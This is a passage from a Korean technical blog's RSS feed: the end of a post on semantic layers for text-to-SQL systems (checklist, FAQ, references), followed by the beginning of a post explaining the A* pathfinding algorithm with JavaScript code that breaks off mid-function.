&lt;li&gt;metadata retrieval 구현&lt;/li&gt;
&lt;li&gt;SQL AST 검증과 read-only 실행 계정 적용&lt;/li&gt;
&lt;li&gt;실행 결과 기반 답변 생성&lt;/li&gt;
&lt;li&gt;질문·SQL·수정 이력 로깅&lt;/li&gt;
&lt;li&gt;20개 질문으로 execution accuracy 측정&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;처음부터 전사 데이터 카탈로그를 완성하려 하지 마세요. &lt;strong&gt;답해야 할 질문에서 거꾸로 필요한 의미를 채우는 방식&lt;/strong&gt;이 훨씬 빠릅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;체크리스트&lt;/h2&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 테이블마다 한 행의 grain이 적혀 있는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; metric에 공식·시간축·필터·단위가 있는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; join path와 cardinality가 명시돼 있는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 코드값과 동의어가 업무 언어로 설명돼 있는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; PII·owner·freshness·권한이 기록돼 있는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; AI 생성 메타데이터를 담당자가 승인하는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 질문마다 관련 메타데이터만 검색하는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 생성 SQL을 AST·권한·비용 기준으로 검증하는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 숫자는 DB가 계산하고 LLM은 설명만 하는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 반복 성공한 질문을 verified query로 관리하는가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 문서 근거가 필요할 때만 SAG를 확장 계층으로 사용하는가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;기존 Data Catalog와 Semantic Layer는 다른가요?&lt;/h3&gt;
&lt;p&gt;Data Catalog는 기술 메타데이터·검색·lineage·governance를 폭넓게 관리합니다. Semantic Layer는 그중에서도 분석 질문에 필요한 business entity, dimension, fact, metric, relationship을 실행 가능한 형태로 고정하는 데 초점이 있습니다. 둘을 따로 만들기보다 카탈로그의 기술 메타데이터 위에 semantic model을 연결하는 편이 좋습니다.&lt;/p&gt;
&lt;h3&gt;정형 데이터도 벡터 DB에 넣어야 하나요?&lt;/h3&gt;
&lt;p&gt;모든 행을 넣을 필요는 없습니다. 테이블·컬럼·metric·verified query 같은 &lt;strong&gt;메타데이터 검색&lt;/strong&gt;에는 임베딩이 유용합니다. 정확한 합계와 필터링은 원본 DB가 수행해야 합니다. 텍스트 컬럼의 의미 검색이 필요할 때만 해당 컬럼에 벡터 인덱스를 추가합니다.&lt;/p&gt;
&lt;h3&gt;LLM이 FK를 읽으면 조인 관계를 알 수 있지 않나요?&lt;/h3&gt;
&lt;p&gt;물리 관계는 알 수 있지만 분석 관계는 다를 수 있습니다. 최신 이력 조건, soft delete, 유효 기간, 결제 성공 상태처럼 FK에 없는 조건이 필요합니다. cardinality와 grain도 별도로 제공해야 중복 집계를 막을 수 있습니다.&lt;/p&gt;
&lt;h3&gt;SAG를 쓰면 Knowledge Graph가 필요 없나요?&lt;/h3&gt;
&lt;p&gt;SAG는 전역 그래프 대신 질의 시점에 공유 Entity로 로컬 관계를 만드는 접근입니다. 엄격한 온톨로지 추론, 전사 master data, 장기적인 관계 탐색이 필요하다면 기존 Knowledge Graph가 여전히 적합할 수 있습니다. 두 방식은 대체재라기보다 운영 비용과 추론 요구에 따른 선택입니다.&lt;/p&gt;
&lt;h3&gt;하이브리드 Markdown 편과는 어떻게 연결되나요?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/hybrid-markdown-document-digitization/&quot;&gt;하이브리드 Markdown 글&lt;/a&gt;은 PDF·Office 같은 비정형 문서에서 구조와 출처를 보존하는 방법입니다. 이번 글은 DB 테이블의 업무 의미와 계산 규칙을 보존합니다. 전자는 문서 근거, 후자는 정확한 수치를 담당하며 SAG와 TAG를 통해 한 답변에서 만날 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;정형 데이터는 이미 구조가 있으니 AI에 연결하기 쉽다고 생각하기 쉽습니다. 하지만 DB의 구조와 비즈니스의 의미는 다릅니다.&lt;/p&gt;
&lt;p&gt;AI가 필요한 것은 더 많은 행이 아니라 다음 질문에 답하는 메타데이터입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;이 행은 무엇인가?
이 숫자는 어떻게 계산하는가?
어떤 테이블을 어떤 조건으로 연결하는가?
사용자는 이 개념을 어떤 말로 부르는가?
누가 볼 수 있고 얼마나 최신인가?
어떤 질문과 SQL이 검증됐는가?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Semantic Layer가 이 의미를 고정하고, TAG가 DB의 계산과 LLM의 설명을 분리합니다. 문서 속 사건과 정책까지 연결해야 할 때 SAG를 붙입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Schema는 데이터의 모양을 말하고, Semantic Layer는 데이터의 뜻을 말합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-analyst&quot;&gt;Snowflake — Cortex Analyst와 Semantic Views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.snowflake.com/en/user-guide/views-semantic/semantic-view-yaml-spec&quot;&gt;Snowflake — Semantic View YAML specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.snowflake.com/user-guide/snowflake-cortex/cortex-analyst/verified-query-repository&quot;&gt;Snowflake — Verified Query Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/aws-samples/sample-semantic-layer-structured&quot;&gt;AWS Samples — Semantic Layer for Structured Data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.databricks.com/aws/en/uc-semantics/agent-metadata&quot;&gt;Databricks — Agent metadata in metric views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2408.14717&quot;&gt;UC Berkeley — Text2SQL is Not Enough: Unifying AI and Databases with TAG&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2606.15971&quot;&gt;SAG — SQL-Retrieval Augmented Generation paper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sag.wiki/en/guide/introduction&quot;&gt;SAG 공식 문서 — Core data model&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[A* 알고리즘 — 다익스트라보다 적게 보고 최단 경로 찾기]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 다익스트라 알고리즘은 최단 경로를 정확하게 찾습니다. 다만 목적지가 오른쪽 위에 있어도 시작점 주변을 모든 방향으로 넓게 확인합니다. A…]]></description><link>https://blog.javapark.kr/astar-pathfinding/</link><guid isPermaLink="false">https://blog.javapark.kr/astar-pathfinding/</guid><pubDate>Mon, 31 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/95b3d424e383814d4d39874881e1209c/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACG0lEQVR42iWSjW/SQBjGG4HetaXQ69HPo0dbVlo+NxwfIm5OXMi2SMApJiIw46bbjGZR///Et5A8udxd8svzfjxClhSQRSVmIceQuA0X0aKpnJLo7mWI3EKhi2uelFR24lKNoyoTcqSQ4xZ85XxHboZwZkpFzEzEzBRzDcxtJeJK7OfrAUitB0oS4IhL1bKQIYXTq4vJ7Goynw3PJ++36+dnJ4KKshYRmSGWTTlg+lGsd2K9FulHtcJhEvXj42OeCZmQocXNw+P1dn3/7+/nH3e3T0+L7Xpxsz6ZXWLPFrktRz4ZDcmgRw5iOnpBosS4GJjTLvJdQTS0pN+IR73u29N43G++fhmPB7VR32knqGIj35Y7Lbp8oPOt3hyQza02HuY3U6UVSVWATYIskrNozqGIGbgM3RrPTC0LT9/BAcBturyn86/64JX6+EX+NtXf9IqNAIcAWzp2DASDYSYuW5Jnw4Rk35V8FwpDALdb9PpOW23V1aX6a62NB7QZqY0QV2xBtClySgCDISqb2LMQt0G4ArbAm3Knr33/o/xe6N1haflTbw/pYazWQ8RKQrrPnfYwAtizoVvs72BuSo1W8eON9uGTdr7Q3q20Xk9rHShRJWcSYb9JOYA6HVRxoFQMChiupoK2UdmA/IiOmQ88PQrVqKpwR/HdLFEFMIRgKQFLm9xXu/PEIUudPUt0d2mBWaZKgygaBKKVVaT/mUtRyaOfpdcAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/95b3d424e383814d4d39874881e1209c/a1b3b/thumbnail.webp 215w,
/static/95b3d424e383814d4d39874881e1209c/fc700/thumbnail.webp 430w,
/static/95b3d424e383814d4d39874881e1209c/521f7/thumbnail.webp 860w,
/static/95b3d424e383814d4d39874881e1209c/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/95b3d424e383814d4d39874881e1209c/f7886/thumbnail.png 215w,
/static/95b3d424e383814d4d39874881e1209c/bc750/thumbnail.png 430w,
/static/95b3d424e383814d4d39874881e1209c/3e3fe/thumbnail.png 860w,
/static/95b3d424e383814d4d39874881e1209c/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/95b3d424e383814d4d39874881e1209c/3e3fe/thumbnail.png&apos; alt=&apos;격자 지도에서 다익스트라와 A* 알고리즘의 탐색 범위를 비교한 모습&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;격자 지도에서 다익스트라와 A* 알고리즘의 탐색 범위를 비교한 모습&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;다익스트라 알고리즘은 최단 경로를 정확하게 찾습니다. 다만 목적지가 오른쪽 위에 있어도 시작점 주변을 모든 방향으로 넓게 확인합니다.&lt;/p&gt;
&lt;p&gt;A*는 여기에 질문 하나를 더합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;지금까지 싸게 왔고, 목적지에도 가까운 후보는 어디일까?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이번 예제에서 두 알고리즘이 찾은 경로 비용은 모두 22입니다. 하지만 확정한 칸은 다익스트라 165개, A* 26개였습니다. 같은 답을 찾으면서 탐색 범위만 목적지 방향으로 좁힌 것입니다.&lt;/p&gt;
&lt;p&gt;같은 최단 경로를 찾으면서 확인하는 칸 수가 얼마나 줄어드는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/C6nFiNBxllo&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAADtUlEQVR42m2U22/cRBTGV2LtGdvreNe7G899PL5slJAIREIIbZqWpmqAkKqloBZKGkgfIoFEVSGqQiXeQOKBd/5cvplNuEhIR5NZZ35zbt+cQVRVUbUasdUhryLBIsljKWIliVaweGlK4mMk+FAwf4ytLqmB/8NYxHkMEyKWkihFlIbRsPqN1MSbJDggOA5HuKKqBrgm5iIxzdKobqjxltjLL9hQ4xLbUqGjSg4rTZmCp4gBFhXhMnF90sC6xHV+4/q0WaT+4yJrFrlusraPTdNt6r0dRgVgMRTVIJacCO0Z14YV1memSa/uGrl+wutR00eq3TrcPDrboRwpKFRnQFAbqZO6S+sWRus2q9sJt6nraLCs6ceizro1Ikx5clv/ck6YptoQLQdEox7Gk87z8I+NP90s4BZ3pcIVpUh0E01leXff/HxGmQmwHhBjiDSoSlo3qfXl8Z5FjYSJdvnO2+blqXl1al+f6R+ftH98Z356SirAFuAgNiZ4bi4915dw1i5ibqcf32p//3Z2fXf60c3J0UF5dKPY3UYLiDIeJtYu4cQb4JCzcClgZsoPD8yLL/NknghHuI19wP6Yh6318DLsxDq/XsI1WkVkPT35oH71tJgqFCxpe9+CbkH/gWvrq+1l4I0uc1YNlW7+6Z3+zx/UxcNiFuAmaKFdwAH9l2fAtYcNYIeyTXRbTKR8dl89u1/MNO6CjYXLITjw/4XN356TJaya0Vzzb+7Ji4flxpvIYsW2I4OMOtQirbv/g4PnzIawmapOP5HfPyoP9sbMwiFxLV2K1/qcY19t32cdHkDgay/jCVQtawbPzx+X13bHEFzTU6/fFjA8X7XqEgaGYOri2nbz2wVkZF5/7X69qJ4cl/vvBdirbQlTeJZQGGA8ehEKZmy0Mi/23zUvvxq7Pt/azNbX036RLxaQeubaoIKrsPG8tRr4ocEVxFjeOJmfHKsXj8zzx0XBU+SvLSJC/UbGAV6+HAjRi0RqzBa8Z4b3DHh68wH74jN+flLe2ssRJ/oRZOM1i+Y7L56gYrSqI0IBHAx5mCTa+qEzF/EEd+lEu5CINz9GVJ2GqZKGwYI1wjDgmCS8ioFJmwiTYtWI1gfsO6kMRk8i/JvFz5GSuRArSmVc5UqO4BkDLa5UPK5mG9vq/cORdPGUo2G0kvGkGq+tZ8bhv5SrwqpoXM3d2tpbGzPbYY+cOSZDlJfZ3u3x5+dE1HHJCDyviiifl3ev5+9sRaMZYXJFyzeKairZ8aEsGBuO2V+p359oAgk+kQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/4a5d3088593ef8696241fe389c5369eb/a1b3b/video-thumb.webp 215w,
/static/4a5d3088593ef8696241fe389c5369eb/fc700/video-thumb.webp 430w,
/static/4a5d3088593ef8696241fe389c5369eb/521f7/video-thumb.webp 860w,
/static/4a5d3088593ef8696241fe389c5369eb/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/4a5d3088593ef8696241fe389c5369eb/f7886/video-thumb.png 215w,
/static/4a5d3088593ef8696241fe389c5369eb/bc750/video-thumb.png 430w,
/static/4a5d3088593ef8696241fe389c5369eb/3e3fe/video-thumb.png 860w,
/static/4a5d3088593ef8696241fe389c5369eb/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/4a5d3088593ef8696241fe389c5369eb/3e3fe/video-thumb.png&apos; alt=&apos;A* 알고리즘 영상 — 다익스트라 165칸과 A* 26칸의 탐색 범위 비교&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;A* 알고리즘 영상 — 다익스트라 165칸과 A* 26칸의 탐색 범위 비교&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;A*의 점수 — f(n) = g(n) + h(n)&lt;/h2&gt;
&lt;p&gt;A*는 우선순위 큐에서 &lt;code class=&quot;language-text&quot;&gt;f(n)&lt;/code&gt;이 가장 작은 노드를 먼저 꺼냅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;f(n) = g(n) + h(n)

g(n): 시작점에서 n까지 실제로 이동한 비용
h(n): n에서 목적지까지 남았다고 추정한 비용&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;g(n)&lt;/code&gt;만 사용하면 &lt;a href=&quot;/dijkstra-shortest-path/&quot;&gt;다익스트라 알고리즘&lt;/a&gt;과 같습니다. &lt;code class=&quot;language-text&quot;&gt;h(n)&lt;/code&gt;이 목적지 방향을 알려주는 나침반 역할을 합니다.&lt;/p&gt;
&lt;p&gt;격자에서 상하좌우로만 이동하고 한 칸 비용이 1이라면 맨해튼 거리를 자주 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;manhattan&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;x1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y1&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;x2&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y2&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;abs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x1 &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; x2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;abs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;y1 &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; y2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;대각선 이동이 가능하면 유클리드 거리나 옥타일 거리가 더 자연스러울 수 있습니다. 중요한 건 지도에서 허용하는 이동 규칙과 휴리스틱이 맞아야 한다는 점입니다.&lt;/p&gt;
&lt;h2&gt;다익스트라와 무엇이 다른가&lt;/h2&gt;
&lt;p&gt;두 알고리즘의 뼈대는 거의 같습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;다익스트라&lt;/th&gt;
&lt;th&gt;A*&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;우선순위&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;g(n)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;g(n) + h(n)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;목적지 정보&lt;/td&gt;
&lt;td&gt;사용하지 않음&lt;/td&gt;
&lt;td&gt;휴리스틱으로 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;h(n) = 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;그대로 다익스트라&lt;/td&gt;
&lt;td&gt;다익스트라와 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최악의 경우&lt;/td&gt;
&lt;td&gt;넓게 탐색&lt;/td&gt;
&lt;td&gt;넓게 탐색할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;좋은 휴리스틱&lt;/td&gt;
&lt;td&gt;해당 없음&lt;/td&gt;
&lt;td&gt;실제 탐색량을 크게 줄임&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A*가 언제나 시간 복잡도 자체를 낮추는 것은 아닙니다. 휴리스틱이 도움이 되지 않거나 장애물이 복잡하면 다익스트라처럼 많은 노드를 볼 수 있습니다. 강점은 목적지에 대한 문제 지식을 탐색 순서에 반영할 수 있다는 것입니다.&lt;/p&gt;
&lt;h2&gt;휴리스틱이 지켜야 하는 조건&lt;/h2&gt;
&lt;p&gt;최단 경로를 보장하려면 일반적으로 &lt;strong&gt;허용 가능성(admissibility)&lt;/strong&gt; 이 필요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;h(n) ≤ n에서 목적지까지의 실제 최소 비용&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;휴리스틱이 실제 비용보다 크게 추정하면 짧은 경로를 비싸다고 오해해 후보에서 밀어낼 수 있습니다.&lt;/p&gt;
&lt;p&gt;그래프 탐색 구현에서는 &lt;strong&gt;일관성(consistency)&lt;/strong&gt; 도 중요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;h(n) ≤ cost(n, next) + h(next)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;일관된 휴리스틱은 경로를 한 칸 이동했을 때 예상값이 갑자기 비정상적으로 줄어들지 않게 합니다. 구현에 따라 일관성이 없으면 이미 닫은 노드를 다시 여는 처리가 필요할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;JavaScript 구현&lt;/h2&gt;
&lt;p&gt;아래 코드는 설명을 위해 배열 정렬로 우선순위 큐를 단순화했습니다. 큰 그래프에서는 이진 힙을 사용해야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;aStar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; start&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; goal&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; heuristic&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; open &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;heuristic&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; goal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; start&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; gScore &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; previous &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;open&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    open&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
